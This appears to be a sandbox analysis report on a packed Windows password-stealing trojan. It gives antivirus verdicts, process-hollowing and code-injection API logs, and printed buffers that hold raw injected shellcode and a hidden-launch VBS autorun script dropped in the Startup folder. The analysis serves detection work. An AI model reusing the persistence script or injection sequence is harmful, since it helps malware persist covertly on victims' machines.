10.0
0-day
60 个模型检测该样本为恶意！
重新分析
更多

6dfb4af12974d5639454d628609b0188c6ab5554baa4a11fc53572e60aa8acc1

baa4b9bc2f23cec237d6ee7e2aa1dd82.exe

分析耗时

72s

最近分析

文件大小

1.3MB
静态报毒 动态报毒 0NA103ET20 AI SCORE=83 AIDETECTVM ALI2000015 AUTO AVSARHER BTOMTW CLASSIC CONFIDENCE DELF DELFINJECT DELPHILESS ELXR EMHC FAREIT FORMBOOK GENERICKD HIGH CONFIDENCE HKSMPI KRYPTIK MALO MALWARE2 MALWARE@#UTBFRES02V6O NOON PASSWORDSTEALER R + MAL SCORE SPYBOTNET SUSGEN TDMGJ TSCOPE UHW@AABN9YDI UNSAFE WACATAC X2066 ZELPHIF 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
McAfee Fareit-FTB!BAA4B9BC2F23 20201211 6.0.6.653
Alibaba Trojan:Win32/DelfInject.ali2000015 20190527 0.3.0.5
Baidu 20190318 1.0.0.2
Avast Win32:Trojan-gen 20201210 21.1.5827.0
Tencent Win32.Trojan.Inject.Auto 20201211 1.0.0.1
CrowdStrike win/malicious_confidence_90% (W) 20190702 1.0
静态指标
The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 个事件)
section CODE
section DATA
section BSS
The executable uses a known packer (1 个事件)
packer BobSoft Mini Delphi -> BoB / BobSoft
One or more processes crashed (2 个事件)
Time & API Arguments Status Return Repeated
1619900365.546001
__exception__
stacktrace: 
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 50855476
registers.edi: 0
registers.eax: 0
registers.ebp: 50855816
registers.edx: 39
registers.ebx: 0
registers.esi: 0
registers.ecx: 545
exception.instruction_r: f7 f0 33 c0 5a 59 59 64 89 10 e9 04 85 00 00 e9
exception.symbol: baa4b9bc2f23cec237d6ee7e2aa1dd82+0x5f708
exception.instruction: div eax
exception.module: baa4b9bc2f23cec237d6ee7e2aa1dd82.exe
exception.exception_code: 0xc0000094
exception.offset: 390920
exception.address: 0x45f708
success 0 0
1619900373.545374
__exception__
stacktrace: 
RtlFlsAlloc+0x421 EtwNotificationRegister-0x6ae ntdll+0x3ee84 @ 0x77d6ee84
RtlRunOnceComplete+0x3a4 LdrLoadDll-0xb1 ntdll+0x3c389 @ 0x77d6c389
LdrLoadDll+0x7b _strcmpi-0x304 ntdll+0x3c4b5 @ 0x77d6c4b5
New_ntdll_LdrLoadDll@16+0x7b New_ntdll_LdrUnloadDll@4-0xb7 @ 0x7400d4cf
LoadLibraryExW+0x178 LoadLibraryExA-0x2a kernelbase+0x11d2a @ 0x778f1d2a
baa4b9bc2f23cec237d6ee7e2aa1dd82+0xb03f8 @ 0x4b03f8
_CorValidateImage+0x83f _CorExeMain-0x2cc mscoree+0x4b0f @ 0x73ef4b0f
_CorExeMain+0xf62 CreateConfigStream-0x209a mscoree+0x5d3d @ 0x73ef5d3d
0x57005c

registers.esp: 1633872
registers.edi: 0
registers.eax: 0
registers.ebp: 1633912
registers.edx: 582600
registers.ebx: 0
registers.esi: 1634116
registers.ecx: 180
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfe0714ad
success 0 0
行为判定
动态指标
One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.
Allocates read-write-execute memory (usually to unpack itself) (27 个事件)
Time & API Arguments Status Return Repeated
1619900365.484001
NtAllocateVirtualMemory
process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00660000
success 0 0
1619900365.546001
NtProtectVirtualMemory
process_identifier: 2080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 36864
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x0045f000
success 0 0
1619900365.562001
NtAllocateVirtualMemory
process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x02510000
success 0 0
1619900366.545374
NtAllocateVirtualMemory
process_identifier: 2236
region_size: 2228224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x01fc0000
success 0 0
1619900366.545374
NtAllocateVirtualMemory
process_identifier: 2236
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x021a0000
success 0 0
1619900366.545374
NtAllocateVirtualMemory
process_identifier: 2236
region_size: 688128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01fc0000
success 0 0
1619900366.545374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 663552
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01fc2000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01db2000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01db2000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76353000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01db2000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76354000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01db2000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01db2000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x77d4f000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01db2000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76353000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01db2000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01db2000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01db2000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76354000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01db2000
success 0 0
1619900373.311374
NtProtectVirtualMemory
process_identifier: 2236
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
Creates executable files on the filesystem (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jhgf.vbs
The binary likely contains encrypted or compressed data indicative of a packer (2 个事件)
entropy 7.217278279629765 section {'size_of_data': '0x000de000', 'virtual_address': '0x00078000', 'entropy': 7.217278279629765, 'name': '.rsrc', 'virtual_size': '0x000ddff8'} description A section with a high entropy has been found
entropy 0.6612062546537603 description Overall entropy of this PE file is high
网络通信
Communicates with host for which no DNS query was performed (1 个事件)
host 172.217.24.14
Allocates execute permission to another process indicative of possible code injection (1 个事件)
Time & API Arguments Status Return Repeated
1619900366.077001
NtAllocateVirtualMemory
process_identifier: 2988
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x00000118
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000b0000
success 0 0
Installs itself for autorun at Windows startup (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jhgf.vbs
Creates a thread using NtQueueApcThread in a remote process potentially indicative of process injection (2 个事件)
Process injection Process 2080 created a thread in remote process 2988
Time & API Arguments Status Return Repeated
1619900366.077001
NtQueueApcThread
thread_handle: 0x00000114
process_identifier: 2988
function_address: 0x000b05c0
parameter: 0x000c0000
success 0 0
Potential code injection by writing to the memory of another process (2 个事件)
Time & API Arguments Status Return Repeated
1619900366.077001
WriteProcessMemory
process_identifier: 2988
buffer: Q¹0d‹‹@ ‹@ ‹‹‹@‰$‹$YÃVWR¾§ÆgNè„Yƒøv· ¿Zwf;Ït ¿Ntf;ÏuƒÂƒè…Àt‹ÎÁá‹þÁïϾ:Ï3ñBHué_‹Æ^ÃU‹ìQQ‹MSVW…Ét;¸MZf9u1‹A<Át*8PEu"‹@xƒeüÁ‹x‹X$‹p ‹@ùÙñ‰Eø…Àu 3À_^[ÉËM‹Eü‹†ÑèOÿÿÿ;E t ÿEü‹Eü;Eøràë׋Eü·C‹‡EëÊU‹ìQSW3ÿWWjWjh@ÿuÿV‹Øƒûÿu3Àë&WWWS‰}üÿV0W‹}EüPWÿu SÿV SÿV3À9}ü”À_[ÉÅÉtè•…Àt3Éf‰ÃU‹ììV‹ð…äüÿÿP3ÀPPjPÿVl…À…Žj\Xf‰Eü3Àj.f‰EþXjvf‰EðXf‰EòjbXf‰EôjsXf‰Eö3Àf‰EøUü…äüÿÿèÖ‹U è΍UðèÆÿu…ìþÿÿÿuPÿVxƒÄ …äüÿÿPÿV…ìþÿÿPèÂ@P…ìþÿÿP…äüÿÿPèîþÿÿƒÄ^ÉÃU‹ìì,j:XjZf‰EÜXjof‰EÞXjnf‰EàXjef‰EâXjIf‰EäXjdf‰EæXjef‰EèXjnf‰EêXjtf‰EìXjif‰EîXjff‰EðXjif‰EòXf‰EôjeXf‰EöjrXf‰Eø3Àf‰Eú…Ôýÿÿ謍UÜè÷EÿPÆEÿèPEÿP…ÔýÿÿPè?þÿÿƒÄÉÃU‹ìQƒeüV‹ðEüPÿuèþYY…Àtƒ}ütÿuüPÿu è þÿÿƒÄ …Àt3À@ë3À^ÉÃU‹ììSV‹ð‹Ï…øýÿÿè'‹Èè(þÿÿ3ÛS…øýÿÿPÿVWÿV8] uWÿu‹Æè~ÿÿÿYY‹Øë €} u5SWÿuÿWÿV(3ۃøÿ‹Ï•Ãèªþÿÿƒûu9]u WÿV(ƒÈPWÿV,3À@ë3À^[ÉÃU‹ìƒìSVWèsüÿÿ‹ø…ÿ„"h"¿ŠWèÌüÿÿ‹ØYY…Û„ jh0h„jÿӋð…ö„ñh¼Û«½W‰~`‰^@è•üÿÿhÒ¼‰W‰F$è‡üÿÿh|QgjW‰F(èyüÿÿhëI”W‰F,èküÿÿh•å©—W‰F0è]üÿÿh¥°(W‰F4èOüÿÿh)·W‰F8èAüÿÿh[uŠðW‰FDè3üÿÿƒÄ@‹Øhd†óuW‰^ è üÿÿh¢¦aëW‰F èüÿÿhÕOd"W‰Fèüÿÿhy.ÔW‰Fèöûÿÿh±÷W‰FèèûÿÿheóW÷W‰FèÚûÿÿh¯4P“W‰FèÌûÿÿh{=#W‰F<è¾ûÿÿƒÄ@hOû~ W‰Fè­ûÿÿhà=!6W‰FHèŸûÿÿhh‰#W‰è’ûÿÿ‰FLhÍeWè„ûÿÿhÓ1ÆVW‰FPèvûÿÿh7œ½W‰FTèhûÿÿh£-ãW‰FXèZûÿÿ‰F\ƒÄ8EðPÇEðshelÇEôl32ÿӋø…ÿt"hÀåz°W‰~dè,ûÿÿhêêºW‰FlèûÿÿƒÄ‰FpEøPÇEøuserfÇEü32ÆEþÿV ‹ø…ÿtAhqV°0W‰~hèìúÿÿhkV°0W‰FxèÞúÿÿh&cj—W‰FtèÐúÿÿh<cj—W‰F|èÂúÿÿƒÄ ‰†€‹Æë3À_^[ÉÃU‹ìƒì\V‹uW3ÿ;÷„îSè¤ýÿÿ‹Ø;ßu WÿDéՍ†‰EüPëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPF‰Eø‰E9>tYÿ¶¶ŽQP¾ ‹Ãè¾üÿÿ‰}3ÿƒÄ 9>t1jDE¤WPèjEèWPèüƒÄEèPE¤PWWj WWWWÿuÿS$9¾(t†lP†,Pÿu‹Ãè½úÿÿƒÄ 9¾tëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPÿuøÿSWÿSD[_3À^ÉÂU‹ìƒì SW3ÿWWjWjh€ÿu‰}øÿV‹Øƒûÿu3Àë>WSÿV‰Eô;Çt+jh0PWÿV@‰Eø;ÇtWMüQÿuô‰}üPSÿV‹Eü‹M ‰SÿV‹Eø_[É÷f‰f…ÒtV‹ð+ñƒÁ·f‰f…Òuñ^ÃU‹ìQQ‹E‰Eü‹EüE‰Eø‹Eü;Eøt‹EüŠM ˆ‹Eü@‰Eüëç‹EÉÃfƒ8V‹ðt ƒÆfƒ>u÷+ò· f‰ ƒÂf…Éuñ^ËD$Š@„Éuù+D$HÅÉu3ÀÃfƒ9‹Át ƒÀfƒ8u÷+ÁÑøÅÉt èÚÿÿÿ…ÀtDAþë fƒù\t ƒè·f…Éuï3ÀÃ
process_handle: 0x00000118
base_address: 0x000b0000
success 1 0
1619900366.077001
WriteProcessMemory
process_identifier: 2988
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\baa4b9bc2f23cec237d6ee7e2aa1dd82.exe"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\baa4b9bc2f23cec237d6ee7e2aa1dd82.exe" jhgfsET LLJpfbDEwow = cREATeobjEct("WsCRIPT.ShELl") llJPFBdEwoW.ruN """%ls""", 0, False
process_handle: 0x00000118
base_address: 0x000c0000
success 1 0
Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 个事件)
Process injection Process 2080 called NtSetContextThread to modify thread in remote process 2236
Time & API Arguments Status Return Repeated
1619900366.140001
NtSetContextThread
thread_handle: 0x00000120
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4887231
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 2236
success 0 0
Resumed a suspended thread in a remote process potentially indicative of process injection (2 个事件)
Process injection Process 2080 resumed a thread in remote process 2236
Time & API Arguments Status Return Repeated
1619900366.280001
NtResumeThread
thread_handle: 0x00000120
suspend_count: 1
process_identifier: 2236
success 0 0
Executed a process and injected code into it, probably while unpacking (11 个事件)
Time & API Arguments Status Return Repeated
1619900366.077001
CreateProcessInternalW
thread_identifier: 2536
thread_handle: 0x00000114
process_identifier: 2988
current_directory:
filepath: C:\Windows\System32\notepad.exe
track: 1
command_line:
filepath_r: C:\Windows\system32\notepad.exe
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x00000118
inherit_handles: 0
success 1 0
1619900366.077001
NtAllocateVirtualMemory
process_identifier: 2988
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x00000118
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000b0000
success 0 0
1619900366.077001
NtAllocateVirtualMemory
process_identifier: 2988
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 4 (PAGE_READWRITE)
process_handle: 0x00000118
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000c0000
success 0 0
1619900366.077001
WriteProcessMemory
process_identifier: 2988
buffer: Q¹0d‹‹@ ‹@ ‹‹‹@‰$‹$YÃVWR¾§ÆgNè„Yƒøv· ¿Zwf;Ït ¿Ntf;ÏuƒÂƒè…Àt‹ÎÁá‹þÁïϾ:Ï3ñBHué_‹Æ^ÃU‹ìQQ‹MSVW…Ét;¸MZf9u1‹A<Át*8PEu"‹@xƒeüÁ‹x‹X$‹p ‹@ùÙñ‰Eø…Àu 3À_^[ÉËM‹Eü‹†ÑèOÿÿÿ;E t ÿEü‹Eü;Eøràë׋Eü·C‹‡EëÊU‹ìQSW3ÿWWjWjh@ÿuÿV‹Øƒûÿu3Àë&WWWS‰}üÿV0W‹}EüPWÿu SÿV SÿV3À9}ü”À_[ÉÅÉtè•…Àt3Éf‰ÃU‹ììV‹ð…äüÿÿP3ÀPPjPÿVl…À…Žj\Xf‰Eü3Àj.f‰EþXjvf‰EðXf‰EòjbXf‰EôjsXf‰Eö3Àf‰EøUü…äüÿÿèÖ‹U è΍UðèÆÿu…ìþÿÿÿuPÿVxƒÄ …äüÿÿPÿV…ìþÿÿPèÂ@P…ìþÿÿP…äüÿÿPèîþÿÿƒÄ^ÉÃU‹ìì,j:XjZf‰EÜXjof‰EÞXjnf‰EàXjef‰EâXjIf‰EäXjdf‰EæXjef‰EèXjnf‰EêXjtf‰EìXjif‰EîXjff‰EðXjif‰EòXf‰EôjeXf‰EöjrXf‰Eø3Àf‰Eú…Ôýÿÿ謍UÜè÷EÿPÆEÿèPEÿP…ÔýÿÿPè?þÿÿƒÄÉÃU‹ìQƒeüV‹ðEüPÿuèþYY…Àtƒ}ütÿuüPÿu è þÿÿƒÄ …Àt3À@ë3À^ÉÃU‹ììSV‹ð‹Ï…øýÿÿè'‹Èè(þÿÿ3ÛS…øýÿÿPÿVWÿV8] uWÿu‹Æè~ÿÿÿYY‹Øë €} u5SWÿuÿWÿV(3ۃøÿ‹Ï•Ãèªþÿÿƒûu9]u WÿV(ƒÈPWÿV,3À@ë3À^[ÉÃU‹ìƒìSVWèsüÿÿ‹ø…ÿ„"h"¿ŠWèÌüÿÿ‹ØYY…Û„ jh0h„jÿӋð…ö„ñh¼Û«½W‰~`‰^@è•üÿÿhÒ¼‰W‰F$è‡üÿÿh|QgjW‰F(èyüÿÿhëI”W‰F,èküÿÿh•å©—W‰F0è]üÿÿh¥°(W‰F4èOüÿÿh)·W‰F8èAüÿÿh[uŠðW‰FDè3üÿÿƒÄ@‹Øhd†óuW‰^ è üÿÿh¢¦aëW‰F èüÿÿhÕOd"W‰Fèüÿÿhy.ÔW‰Fèöûÿÿh±÷W‰FèèûÿÿheóW÷W‰FèÚûÿÿh¯4P“W‰FèÌûÿÿh{=#W‰F<è¾ûÿÿƒÄ@hOû~ W‰Fè­ûÿÿhà=!6W‰FHèŸûÿÿhh‰#W‰è’ûÿÿ‰FLhÍeWè„ûÿÿhÓ1ÆVW‰FPèvûÿÿh7œ½W‰FTèhûÿÿh£-ãW‰FXèZûÿÿ‰F\ƒÄ8EðPÇEðshelÇEôl32ÿӋø…ÿt"hÀåz°W‰~dè,ûÿÿhêêºW‰FlèûÿÿƒÄ‰FpEøPÇEøuserfÇEü32ÆEþÿV ‹ø…ÿtAhqV°0W‰~hèìúÿÿhkV°0W‰FxèÞúÿÿh&cj—W‰FtèÐúÿÿh<cj—W‰F|èÂúÿÿƒÄ ‰†€‹Æë3À_^[ÉÃU‹ìƒì\V‹uW3ÿ;÷„îSè¤ýÿÿ‹Ø;ßu WÿDéՍ†‰EüPëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPF‰Eø‰E9>tYÿ¶¶ŽQP¾ ‹Ãè¾üÿÿ‰}3ÿƒÄ 9>t1jDE¤WPèjEèWPèüƒÄEèPE¤PWWj WWWWÿuÿS$9¾(t†lP†,Pÿu‹Ãè½úÿÿƒÄ 9¾tëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPÿuøÿSWÿSD[_3À^ÉÂU‹ìƒì SW3ÿWWjWjh€ÿu‰}øÿV‹Øƒûÿu3Àë>WSÿV‰Eô;Çt+jh0PWÿV@‰Eø;ÇtWMüQÿuô‰}üPSÿV‹Eü‹M ‰SÿV‹Eø_[É÷f‰f…ÒtV‹ð+ñƒÁ·f‰f…Òuñ^ÃU‹ìQQ‹E‰Eü‹EüE‰Eø‹Eü;Eøt‹EüŠM ˆ‹Eü@‰Eüëç‹EÉÃfƒ8V‹ðt ƒÆfƒ>u÷+ò· f‰ ƒÂf…Éuñ^ËD$Š@„Éuù+D$HÅÉu3ÀÃfƒ9‹Át ƒÀfƒ8u÷+ÁÑøÅÉt èÚÿÿÿ…ÀtDAþë fƒù\t ƒè·f…Éuï3ÀÃ
process_handle: 0x00000118
base_address: 0x000b0000
success 1 0
1619900366.077001
WriteProcessMemory
process_identifier: 2988
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\baa4b9bc2f23cec237d6ee7e2aa1dd82.exe"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\baa4b9bc2f23cec237d6ee7e2aa1dd82.exe" jhgfsET LLJpfbDEwow = cREATeobjEct("WsCRIPT.ShELl") llJPFBdEwoW.ruN """%ls""", 0, False
process_handle: 0x00000118
base_address: 0x000c0000
success 1 0
1619900366.124001
CreateProcessInternalW
thread_identifier: 1760
thread_handle: 0x00000120
process_identifier: 2236
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\baa4b9bc2f23cec237d6ee7e2aa1dd82.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
process_handle: 0x0000011c
inherit_handles: 0
success 1 0
1619900366.124001
NtUnmapViewOfSection
process_identifier: 2236
region_size: 4096
process_handle: 0x0000011c
base_address: 0x00400000
success 0 0
1619900366.124001
NtMapViewOfSection
section_handle: 0x00000128
process_identifier: 2236
commit_size: 1417216
win32_protect: 64 (PAGE_EXECUTE_READWRITE)
buffer:
process_handle: 0x0000011c
allocation_type: 0 ()
section_offset: 0
view_size: 1417216
base_address: 0x00400000
success 0 0
1619900366.140001
NtGetContextThread
thread_handle: 0x00000120
success 0 0
1619900366.140001
NtSetContextThread
thread_handle: 0x00000120
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4887231
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 2236
success 0 0
1619900366.280001
NtResumeThread
thread_handle: 0x00000120
suspend_count: 1
process_identifier: 2236
success 0 0
File has been identified by 60 AntiVirus engines on VirusTotal as malicious (50 out of 60 个事件)
Bkav W32.AIDetectVM.malware2
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.GenericKD.33921233
FireEye Generic.mg.baa4b9bc2f23cec2
McAfee Fareit-FTB!BAA4B9BC2F23
Cylance Unsafe
Zillya Trojan.Injector.Win32.740039
Sangfor Malware
K7AntiVirus Trojan ( 005678511 )
Alibaba Trojan:Win32/DelfInject.ali2000015
K7GW Trojan ( 005678511 )
Cybereason malicious.22ef24
Arcabit Trojan.Generic.D20598D1
Cyren W32/Trojan.MALO-3338
Symantec Trojan.Gen.MBT
APEX Malicious
Avast Win32:Trojan-gen
Kaspersky HEUR:Trojan-Spy.Win32.Noon.gen
BitDefender Trojan.GenericKD.33921233
NANO-Antivirus Trojan.Win32.SpyBotNET.hksmpi
Paloalto generic.ml
Tencent Win32.Trojan.Inject.Auto
Ad-Aware Trojan.GenericKD.33921233
Emsisoft Trojan.GenericKD.33921233 (B)
Comodo Malware@#utbfres02v6o
F-Secure Trojan.TR/Injector.tdmgj
DrWeb BackDoor.SpyBotNET.17
VIPRE Trojan.Win32.Generic!BT
TrendMicro TROJ_FRS.0NA103ET20
McAfee-GW-Edition BehavesLike.Win32.Fareit.tc
Sophos Mal/Generic-R + Mal/Fareit-AA
Jiangmin Trojan.Kryptik.axf
MaxSecure Trojan.Malware.73698928.susgen
Avira TR/Injector.tdmgj
Antiy-AVL Trojan[PSW]/Win32.Fareit
Gridinsoft Trojan.Win32.Wacatac.ba!s1
Microsoft Trojan:Win32/FormBook.CM!MTB
AegisLab Trojan.Win32.Noon.l!c
ZoneAlarm HEUR:Trojan-Spy.Win32.Noon.gen
GData Trojan.GenericKD.33921233
Cynet Malicious (score: 100)
AhnLab-V3 Suspicious/Win.Delphiless.X2066
Acronis suspicious
BitDefenderTheta Gen:NN.ZelphiF.34670.uHW@aaBn9Ydi
ALYac Trojan.GenericKD.33921233
MAX malware (ai score=83)
VBA32 TScope.Trojan.Delf
Malwarebytes Spyware.PasswordStealer
Zoner Trojan.Win32.67455
ESET-NOD32 a variant of Win32/Injector.EMHC
Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 个事件)
dead_host 172.217.24.14:443
dead_host 172.217.160.110:443
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

1992-06-20 06:22:17

Imports

Library kernel32.dll:
• 0x46b150 VirtualFree
• 0x46b154 VirtualAlloc
• 0x46b158 LocalFree
• 0x46b15c LocalAlloc
• 0x46b160 GetVersion
• 0x46b164 GetCurrentThreadId
• 0x46b170 VirtualQuery
• 0x46b174 WideCharToMultiByte
• 0x46b178 MultiByteToWideChar
• 0x46b17c lstrlenA
• 0x46b180 lstrcpynA
• 0x46b184 LoadLibraryExA
• 0x46b188 GetThreadLocale
• 0x46b18c GetStartupInfoA
• 0x46b190 GetProcAddress
• 0x46b194 GetModuleHandleA
• 0x46b198 GetModuleFileNameA
• 0x46b19c GetLocaleInfoA
• 0x46b1a0 GetCommandLineA
• 0x46b1a4 FreeLibrary
• 0x46b1a8 FindFirstFileA
• 0x46b1ac FindClose
• 0x46b1b0 ExitProcess
• 0x46b1b4 WriteFile
• 0x46b1bc RtlUnwind
